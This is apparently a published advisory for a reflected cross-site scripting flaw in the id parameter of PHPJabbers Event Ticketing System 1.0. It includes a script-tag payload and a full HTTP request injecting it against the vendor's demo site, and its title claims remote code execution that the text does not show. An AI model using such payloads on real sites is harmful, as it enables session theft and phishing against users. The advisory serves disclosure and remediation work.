`## Title: Event Ticketing System-1.0 XSS-Reflected - RCE
## Author: nu11secur1ty
## Date: 09/08/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/event-ticketing-system/#sectionDemo
## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected
## Description:
The value of the `id` request parameter is copied into the value of an
HTML tag attribute which is encapsulated in double quotation marks.
The payload }}uypja"><script>alert(1)</script>k36c0 was submitted in
the id parameter. This input was echoed as
uypja"><script>alert(1)</script>k36c0 in the application's response.
The attacker can use this vulnerability to trick the user into
executing - opening the browser on his machine and opening a hazardous
URL address.
STATUS: HIGH Vulnerability
[+]Testing Payload:
```GET
GET /1694154671_204/index.php?controller=pjFront&action=pjActionCheckout&locale=1&id=1hau48%22%3e%3cscript%3ealert(1)%3c%2fscript%3exoplm
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: EventTicketing=lirq5h64gv5dj0utbp2r5nsqf7
Origin: http://demo.phpjabbers.com
Referer: http://demo.phpjabbers.com/
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Event-Ticketing-System-1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/09/event-ticketing-system-10-xss-reflected.html)
## Time spent:
01:25:00
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation